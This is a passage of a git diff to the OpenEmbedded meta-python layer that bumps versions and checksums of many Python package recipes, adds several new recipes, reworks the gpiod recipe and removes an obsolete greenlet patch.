-SRC_URI[sha256sum] = "101d4e56154658c974e9425acd31f0fedde3ce68b47263fd14f789b028f8a13a"
+SRC_URI[sha256sum] = "9f4a7c7be2a25de5901f045618f41b833ea6c0f647115201d38e4fdf7e2815bc"
SRC_URI += " \
file://CMakeLists.txt \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-colorclass_2.2.2.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-colorclass_2.2.2.bb
new file mode 100644
index 0000000000..00c2c4e92b
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-colorclass_2.2.2.bb
@@ -0,0 +1,17 @@
+SUMMARY = "Colorful worry-free console applications for Linux, Mac OS X, and Windows."
+HOMEPAGE = "https://github.com/matthewdeanmartin/colorclass"
+LICENSE = "MIT"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=1b2a533055839e54558a727657c1c73e"
+
+inherit pypi setuptools3
+
+SRC_URI[sha256sum] = "6d4fe287766166a98ca7bc6f6312daf04a0481b1eda43e7173484051c0ab4366"
+
+PYPI_PACKAGE="colorclass"
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-ctypes \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-covdefaults_2.3.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-covdefaults_2.3.0.bb
index b7709aa1ca..a0ef2af828 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-covdefaults_2.3.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-covdefaults_2.3.0.bb
@@ -27,5 +27,3 @@ do_install_ptest() {
install -d ${D}${PTEST_PATH}
cp -rf ${S}/tests ${D}${PTEST_PATH}
}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-coverage_7.3.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-coverage_7.3.2.bb
index 636b7377a3..12496b03d4 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-coverage_7.3.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-coverage_7.3.2.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://coverage.readthedocs.io"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=2ee41112a44fe7014dce33e26468ba93"
-SRC_URI[sha256sum] = "6cb7fe1581deb67b782c153136541e20901aa312ceedaf1467dcb35255787952"
+SRC_URI[sha256sum] = "be32ad29341b0170e795ca590e1c07e81fc061cb5b10c74ce7203491484404ef"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-croniter_1.4.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-croniter_2.0.1.bb
index e9f84eb9e5..7f418b063f 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-croniter_1.4.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-croniter_2.0.1.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=b8ee59850b882cbf623188489ea748e2"
PYPI_PACKAGE = "croniter"
-SRC_URI[sha256sum] = "1a6df60eacec3b7a0aa52a8f2ef251ae3dd2a7c7c8b9874e73e791636d55a361"
+SRC_URI[sha256sum] = "d199b2ec3ea5e82988d1f72022433c5f9302b3b3ea9e6bfd6a1518f6ea5e700a"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-dateparser_1.1.8.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-dateparser_1.2.0.bb
index 8b890fb227..a08564b3f5 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-dateparser_1.1.8.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-dateparser_1.2.0.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://github.com/scrapinghub/dateparser"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=3d3ed25571191e7aa3f55d0a6efe0051"
-SRC_URI[sha256sum] = "86b8b7517efcc558f085a142cdb7620f0921543fcabdb538c8a4c4001d8178e3"
+SRC_URI[sha256sum] = "7975b43a4222283e0ae15be7b4999d08c9a70e2d378ac87385b1ccf2cffbbb30"
PYPI_PACKAGE = "dateparser"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-dbus-fast_1.85.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-dbus-fast_2.14.0.bb
index 6e1b599351..5ce05c3838 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-dbus-fast_1.85.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-dbus-fast_2.14.0.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://github.com/bluetooth-devices/dbus-fast"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=729e372b5ea0168438e4fd4a00a04947"
-SRC_URI[sha256sum] = "af346e87e34fa52c7ae82d117303cbfe089cd5391b5a1cc0e51f67066ef426f5"
+SRC_URI[sha256sum] = "91a88fea66b4e69ce73ac4c1ac04952c4fbd5e9b902400649013778a177129ea"
PYPI_PACKAGE = "dbus_fast"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-dill_0.3.7.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-dill_0.3.7.bb
index b6b788110d..673964f3b7 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-dill_0.3.7.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-dill_0.3.7.bb
@@ -15,3 +15,5 @@ RDEPENDS:${PN} += "\
${PYTHON_PN}-profile \
${PYTHON_PN}-core \
"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-django_4.2.3.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-django_4.2.7.bb
index 4e3192744e..100db9bd71 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-django_4.2.3.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-django_4.2.7.bb
@@ -1,7 +1,7 @@
require python-django.inc
inherit setuptools3
-SRC_URI[sha256sum] = "45a747e1c5b3d6df1b141b1481e193b033fd1fdbda3ff52677dc81afdaacbaed"
+SRC_URI[sha256sum] = "8e0f1c2c2786b5c0e39fe1afce24c926040fad47c8ea8ad30aaf1188df29fc41"
RDEPENDS:${PN} += "\
${PYTHON_PN}-sqlparse \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-email-validator_1.3.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-email-validator_2.1.0.bb
index 2350c4d758..7daf548cb1 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-email-validator_1.3.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-email-validator_2.1.0.bb
@@ -3,7 +3,7 @@ SECTION = "devel/python"
LICENSE = "CC0-1.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=65d3616852dbf7b1a6d4b53b00626032"
-SRC_URI[sha256sum] = "d178c5c6fa6c6824e9b04f199cf23e79ac15756786573c190d2ad13089411ad2"
+SRC_URI[sha256sum] = "5f511cca8856bb03251d6292ba59e7f98978aae13fa5823ddd8bf885c56a6260"
PYPI_PACKAGE = "email_validator"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-engineio_4.7.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-engineio_4.8.0.bb
index 0ef64268a7..1cc79f1a9b 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-engineio_4.7.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-engineio_4.8.0.bb
@@ -17,4 +17,4 @@ RDEPENDS:${PN} += " \
python3-asyncio \
"
-SRC_URI[sha256sum] = "a8422e345cd9a21451303380b160742ff02197975b1c3a02cef115febe2b1b20"
+SRC_URI[sha256sum] = "2a32585d8fecd0118264fe0c39788670456ca9aa466d7c026d995cfff68af164"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-abi_3.0.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-abi_4.2.1.bb
index 3d8a67ba56..c01860acd7 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-abi_3.0.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-abi_4.2.1.bb
@@ -2,9 +2,9 @@ SUMMARY = "Python utilities for working with Ethereum ABI definitions, especiall
HOMEPAGE = "https://github.com/ethereum/eth-abi"
SECTION = "devel/python"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=bf9691ead96f1163622689e47ce3f366"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=731f4de9c79bfeba6d8d55f83d0d2423"
-SRC_URI[sha256sum] = "c3872e3ac1e9ef3f8c6599aaca4ee536d536eefca63a6892ab937f0560edb656"
+SRC_URI[sha256sum] = "60d88788d53725794cdb07c0f0bb0df2a31a6e1ad19644313fe6117ac24eeeb0"
PYPI_PACKAGE = "eth_abi"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-account_0.9.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-account_0.10.0.bb
index e33b7679c9..1854e3bcac 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-account_0.9.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-account_0.10.0.bb
@@ -4,7 +4,7 @@ SECTION = "devel/python"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=16ffc86adf4293d4cfb204e77d62cfe6"
-SRC_URI[sha256sum] = "5f66ecb7bc52569924dfaf4a9add501b1c2a4901eec74e3c0598cd26d0971777"
+SRC_URI[sha256sum] = "474a2fccf7286230cf66502565f03b536921d7e1fdfceba198e42160e5ac4bc1"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-typing_3.4.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-typing_3.5.2.bb
index a1594fbf54..c8044b3897 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-typing_3.4.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-typing_3.5.2.bb
@@ -4,6 +4,6 @@ SECTION = "devel/python"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=3d7bdfe69b1ffbde073ca6e96f5c53f7"
-SRC_URI[sha256sum] = "7f49610469811ee97ac43eaf6baa294778ce74042d41e61ecf22e5ebe385590f"
+SRC_URI[sha256sum] = "22bf051ddfaa35ff827c30090de167e5c5b8cc6d343f7f35c9b1c7553f6ab64d"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-utils_2.2.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-utils_2.3.1.bb
index bace620eef..1f641832f6 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-utils_2.2.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-eth-utils_2.3.1.bb
@@ -4,7 +4,7 @@ SECTION = "devel/python"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=6749008d847c14b9718949c2e24d5c0a"
-SRC_URI[sha256sum] = "f79a95f86dd991344697c763db40271dbe43fbbcd5776f49b0c4fb7b645ee1c4"
+SRC_URI[sha256sum] = "56a969b0536d4969dcb27e580521de35abf2dbed8b1bf072b5c80770c4324e27"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-executing_1.2.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-executing_2.0.1.bb
index 89f935c672..3ee1e66f97 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-executing_1.2.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-executing_2.0.1.bb
@@ -6,4 +6,4 @@ DEPENDS = "python3-setuptools-scm-native"
inherit pypi python_setuptools_build_meta
-SRC_URI[sha256sum] = "19da64c18d2d851112f09c287f8d3dbbdf725ab0e569077efb6cdcbd3497c107"
+SRC_URI[sha256sum] = "35afe2ce3affba8ee97f2d69927fa823b08b472b7b994e36a52a964b93d16147"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-file-magic_0.4.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-file-magic_0.4.1.bb
new file mode 100644
index 0000000000..837edf7df7
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-file-magic_0.4.1.bb
@@ -0,0 +1,21 @@
+SUMMARY = "Python front end for libmagic"
+DESCRIPTION = "This library is a Python ctypes interface to libmagic."
+HOMEPAGE = "https://darwinsys.com/file/"
+LICENSE = "BSD-2-Clause"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=0e949c0b3fb4fd86232f00c6ee0bdef3"
+
+SRC_URI[sha256sum] = "a91d1483117f7ed48cd0238ad9be36b04824d57e9c38ea7523113989e81b9c53"
+
+PYPI_PACKAGE="file-magic"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += " \
+ file \
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-ctypes \
+ ${PYTHON_PN}-threading \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-filelock_3.12.4.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-filelock_3.13.1.bb
index 49a9d956af..444c484412 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-filelock_3.12.4.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-filelock_3.13.1.bb
@@ -6,7 +6,7 @@ HOMEPAGE = "https://py-filelock.readthedocs.io/"
LICENSE = "Unlicense"
LIC_FILES_CHKSUM = "file://LICENSE;md5=911690f51af322440237a253d695d19f"
-SRC_URI[sha256sum] = "2e6f249f1f3654291606e046b09f1fd5eac39b360664c27f5aad072012f8bcbd"
+SRC_URI[sha256sum] = "521f5f56c50f8426f5e03ad3b281b490a87ef15bc6c526f168290f0c7148d44e"
BBCLASSEXTEND = "native nativesdk"
inherit pypi python_hatchling
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-flask-babel_3.1.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-flask-babel_4.0.0.bb
index 610c40f84d..4d8aee532c 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-flask-babel_3.1.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-flask-babel_4.0.0.bb
@@ -2,7 +2,7 @@ DESCRIPTION = "i18n and l10n support for Flask based on babel and pytz"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=51917f3e8e858f5ae295a7d0e2eb3cc9"
-SRC_URI[sha256sum] = "be015772c5d7f046f3b99c508dcf618636eb93d21b713b356db79f3e79f69f39"
+SRC_URI[sha256sum] = "dbeab4027a3f4a87678a11686496e98e1492eb793cbdd77ab50f4e9a2602a593"
PYPI_PACKAGE = "flask_babel"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-flask-jwt-extended_4.5.2.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-flask-jwt-extended_4.5.3.bb
index f55d771745..d5438f11a8 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-flask-jwt-extended_4.5.2.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-flask-jwt-extended_4.5.3.bb
@@ -7,7 +7,7 @@ inherit pypi setuptools3
PYPI_PACKAGE = "Flask-JWT-Extended"
-SRC_URI[sha256sum] = "ba56245ba43b71c8ae936784b867625dce8b9956faeedec2953222e57942fb0b"
+SRC_URI[sha256sum] = "061ef3d25ed5743babe4964ab38f36d870e6d2fd8a126bab5d77ddef8a01932b"
RDEPENDS:${PN} += "\
python3-werkzeug \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-flask-login_0.6.2.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-flask-login_0.6.3.bb
index 97d7bce359..458ba46b2b 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-flask-login_0.6.2.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-flask-login_0.6.3.bb
@@ -6,7 +6,7 @@ HOMEPAGE = " https://github.com/maxcountryman/flask-login"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=8aa87a1cd9fa41d969ad32cfdac2c596"
-SRC_URI[sha256sum] = "c0a7baa9fdc448cdd3dd6f0939df72eec5177b2f7abe6cb82fc934d29caac9c3"
+SRC_URI[sha256sum] = "5e23d14a607ef12806c699590b89d0f0e0d67baeec599d75947bf9c147330333"
PYPI_PACKAGE = "Flask-Login"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-flask-restx_1.2.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-flask-restx_1.2.0.bb
new file mode 100644
index 0000000000..573c2dbff3
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-flask-restx_1.2.0.bb
@@ -0,0 +1,13 @@
+DESCRIPTION = "Fully featured framework for fast, easy and documented API development with Flask"
+LICENSE = "BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=c96dd911c6d9e32868b6bc667a38a3e2"
+
+SRC_URI[sha256sum] = "9a5338b108c57fbed1d24d5d53fe98442b2be7ffa2ff3291305af7a613ce6fc0"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += " \
+ python3-aniso8601 \
+ python3-jsonschema \
+ python3-pytz \
+"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-gcovr_6.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-gcovr_6.0.bb
index 21c36687e2..bfb0aaf5e7 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-gcovr_6.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-gcovr_6.0.bb
@@ -4,7 +4,7 @@ SECTION = "devel/python"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=6542fc4ce5904ffb741ef56f8fe33452"
-SRC_URI = "git://github.com/gcovr/gcovr.git;branch=master;protocol=https"
+SRC_URI = "git://github.com/gcovr/gcovr.git;branch=main;protocol=https"
SRCREV = "1221ef62ff0de15bbeaf79e68e08a65d62c73ff4"
S = "${WORKDIR}/git"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-geojson_3.0.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-geojson_3.1.0.bb
index 671fe4f23a..79ad228d1c 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-geojson_3.0.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-geojson_3.1.0.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://pypi.org/project/geojson/"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE.rst;md5=f77f2ed49768c8d4c79ba874c0f94d8a"
-SRC_URI[sha256sum] = "ff3d75acab60b1e66504a11f7ea12c104bad32ff3c410a807788663b966dee4a"
+SRC_URI[sha256sum] = "58a7fa40727ea058efc28b0e9ff0099eadf6d0965e04690830208d3ef571adac"
inherit pypi setuptools3 ptest
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-geomet_1.0.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-geomet_1.1.0.bb
index 84356cf6fd..72b2bbcb76 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-geomet_1.0.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-geomet_1.1.0.bb
@@ -10,7 +10,7 @@ SRC_URI[sha256sum] = "cb52411978ee01ff104ab48f108d7333b14423ae7a15a65fee25b7d29b
S = "${WORKDIR}/git"
SRC_URI = "git://github.com/geomet/geomet.git;protocol=https;branch=master"
-SRCREV = "7fff4438510c30e592db858b2d519eddb5837a6c"
+SRCREV = "6ac73c312b52aca328db2e61d90c5e363b62639f"
inherit setuptools3
PIP_INSTALL_PACKAGE = "geomet"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-git-pw_2.5.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-git-pw_2.5.0.bb
new file mode 100644
index 0000000000..d060a922b7
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-git-pw_2.5.0.bb
@@ -0,0 +1,20 @@
+SUMMARY = "A tool for integrating Git with Patchwork"
+HOMEPAGE = "https://github.com/getpatchwork/git-pw"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=26e1a171d943c64f00c51f90c256b9d4"
+
+SRC_URI[sha256sum] = "c60169f9566bd6710f9c0985a005a0c326460b739d3f2b5c5c71e85211584590"
+
+inherit pypi python_setuptools_build_meta
+
+DEPENDS += " \
+ python3-pbr-native \
+"
+
+RDEPENDS:${PN} += " \
+ python3-arrow \
+ python3-click \
+ python3-pyyaml \
+ python3-requests \
+ python3-tabulate \
+"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-google-api-core_2.12.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-google-api-core_2.14.0.bb
index 28c6a7989c..b620e553ec 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-google-api-core_2.12.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-google-api-core_2.14.0.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
inherit pypi setuptools3
-SRC_URI[sha256sum] = "c22e01b1e3c4dcd90998494879612c38d0a3411d1f7b679eb89e2abe3ce1f553"
+SRC_URI[sha256sum] = "5368a4502b793d9bbf812a5912e13e4e69f9bd87f6efb508460c43f5bbd1ce41"
RDEPENDS:${PN} += "\
${PYTHON_PN}-asyncio \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-google-api-python-client_2.101.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-google-api-python-client_2.108.0.bb
index 495a37444d..f8ccc9a68c 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-google-api-python-client_2.101.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-google-api-python-client_2.108.0.bb
@@ -4,7 +4,7 @@ HOMEPAGE = "https://github.com/googleapis/google-api-python-client"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=86d3f3a95c324c9479bd8986968f4327"
-SRC_URI[sha256sum] = "e9620a809251174818e1fce16604006f10a9c2ac0d3d94a139cdddcd4dbea2d8"
+SRC_URI[sha256sum] = "6396efca83185fb205c0abdbc1c2ee57b40475578c6af37f6d0e30a639aade99"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-google-auth_2.23.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-google-auth_2.23.4.bb
index a3228be231..c7bf2857a7 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-google-auth_2.23.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-google-auth_2.23.4.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=86d3f3a95c324c9479bd8986968f4327"
inherit pypi setuptools3
-SRC_URI[sha256sum] = "d38bdf4fa1e7c5a35e574861bce55784fd08afadb4e48f99f284f1e487ce702d"
+SRC_URI[sha256sum] = "79905d6b1652187def79d491d6e23d0cbb3a21d3c7ba0dbaa9c8a01906b13ff3"
RDEPENDS:${PN} += "\
${PYTHON_PN}-asyncio \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-googleapis-common-protos_1.60.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-googleapis-common-protos_1.61.0.bb
index 5c9ba5fb4b..171bc67b78 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-googleapis-common-protos_1.60.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-googleapis-common-protos_1.61.0.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://${COMMON_LICENSE_DIR}/Apache-2.0;md5=89aea4e17d99a7ca
inherit pypi setuptools3
-SRC_URI[sha256sum] = "e73ebb404098db405ba95d1e1ae0aa91c3e15a71da031a2eeb6b2e23e7bc3708"
+SRC_URI[sha256sum] = "8a64866a97f6304a7179873a465d6eee97b7a24ec6cfd78e0f575e96b821240b"
RDEPENDS:${PN} += "\
${PYTHON_PN}-grpcio \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-gpiod_2.0.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-gpiod_2.1.3.bb
index ea8c185625..0dbb38d200 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-gpiod_2.0.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-gpiod_2.1.3.bb
@@ -3,19 +3,20 @@ SUMMARY = "Python bindings for libgpiod."
LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later & CC-BY-SA-4.0"
# The actual license files live in the upstream libgpiod from which the pypi
# package is spun out.
-LIC_FILES_CHKSUM = "file://setup.py;beginline=57;endline=57;md5=120334ed83ec0cb248605e775bd13b87"
+LIC_FILES_CHKSUM = "file://setup.py;beginline=237;endline=237;md5=f5ddb56912b7f20bf94aa4d1bdcd3533"
SRC_URI += "file://run-ptest"
-SRC_URI[sha256sum] = "d5c0f9502e97e7359b9dd601e29f15d668983ce50f5c13323f3302845f790fa6"
+SRC_URI[sha256sum] = "a33193d6cab79d252329f71666a35a3668e04f1f82bf9b93ee2c9ae852398b20"
-inherit setuptools3 ptest pypi
+inherit setuptools3-base python_pep517 ptest pypi
-PYPI_PACKAGE = "libgpiod"
-
-DEPENDS += "libgpiod"
+DEPENDS += " \
+ libgpiod \
+ python3-setuptools-native \
+"
RDEPENDS:${PN} += " \
- libgpiod (>= 2.0) \
+ libgpiod (>= 2.1) \
python3-datetime \
python3-profile \
"
@@ -24,14 +25,21 @@ RDEPENDS:${PN}-ptest += " \
python3-setuptools \
"
-export GPIOD_WITH_TESTS = "${@bb.utils.contains("PTEST_ENABLED", "1", "1", "0", d)}"
+export LINK_SYSTEM_LIBGPIOD = "1"
+
+do_compile_ptest() {
+ setup_target_config
+ nativepython3 build_tests.py
+}
do_install_ptest() {
install -d ${D}${PTEST_PATH}/gpiod-test/gpiosim
install -d ${D}${PTEST_PATH}/gpiod-test/procname
install -m 0644 ${S}/tests/*.py ${D}${PTEST_PATH}/gpiod-test/
- install -m 0644 ${B}/build/lib*/tests/gpiosim/_ext* ${D}${PTEST_PATH}/gpiod-test/gpiosim
+ install -m 0644 ${B}/tests/gpiosim/_ext* ${D}${PTEST_PATH}/gpiod-test/gpiosim
install -m 0644 ${S}/tests/gpiosim/*.py ${D}${PTEST_PATH}/gpiod-test/gpiosim
- install -m 0644 ${B}/build/lib*/tests/procname/_ext* ${D}${PTEST_PATH}/gpiod-test/procname
+ install -m 0644 ${B}/tests/procname/_ext* ${D}${PTEST_PATH}/gpiod-test/procname
install -m 0644 ${S}/tests/procname/*.py ${D}${PTEST_PATH}/gpiod-test/procname
}
+
+INSANE_SKIP:${PN}-ptest += "buildpaths"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-greenlet/0001-cleanup-Drop-using-register-storage-class-keyword-ev.patch b/meta-openembedded/meta-python/recipes-devtools/python/python3-greenlet/0001-cleanup-Drop-using-register-storage-class-keyword-ev.patch
deleted file mode 100644
index 2a6ddd4726..0000000000
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-greenlet/0001-cleanup-Drop-using-register-storage-class-keyword-ev.patch
+++ /dev/null
@@ -1,247 +0,0 @@
-From 74d8c5ecdc677a7a412c7f782fe8488a5d987333 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Sun, 5 Feb 2023 19:05:45 -0800
-Subject: [PATCH] cleanup: Drop using 'register' storage class keyword everywhere
-
-This has been dropped in c++17 and newer
-
-Upstream-Status: Submitted [https://github.com/python-greenlet/greenlet/pull/347]
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- src/greenlet/platform/switch_alpha_unix.h | 4 ++--
- src/greenlet/platform/switch_arm32_gcc.h | 2 +-
- src/greenlet/platform/switch_arm32_ios.h | 2 +-
- src/greenlet/platform/switch_csky_gcc.h | 2 +-
- src/greenlet/platform/switch_mips_unix.h | 4 ++--
- src/greenlet/platform/switch_ppc64_aix.h | 4 ++--
- src/greenlet/platform/switch_ppc64_linux.h | 4 ++--
- src/greenlet/platform/switch_ppc_aix.h | 4 ++--
- src/greenlet/platform/switch_ppc_linux.h | 4 ++--
- src/greenlet/platform/switch_ppc_macosx.h | 4 ++--
- src/greenlet/platform/switch_ppc_unix.h | 4 ++--
- src/greenlet/platform/switch_s390_unix.h | 4 ++--
- src/greenlet/platform/switch_sparc_sun_gcc.h | 4 ++--
- src/greenlet/platform/switch_x32_unix.h | 4 ++--
- src/greenlet/platform/switch_x86_unix.h | 2 +-
- 15 files changed, 26 insertions(+), 26 deletions(-)
-
-diff --git a/src/greenlet/platform/switch_alpha_unix.h b/src/greenlet/platform/switch_alpha_unix.h
-index 216619f..7e07abf 100644
---- a/src/greenlet/platform/switch_alpha_unix.h
-+++ b/src/greenlet/platform/switch_alpha_unix.h
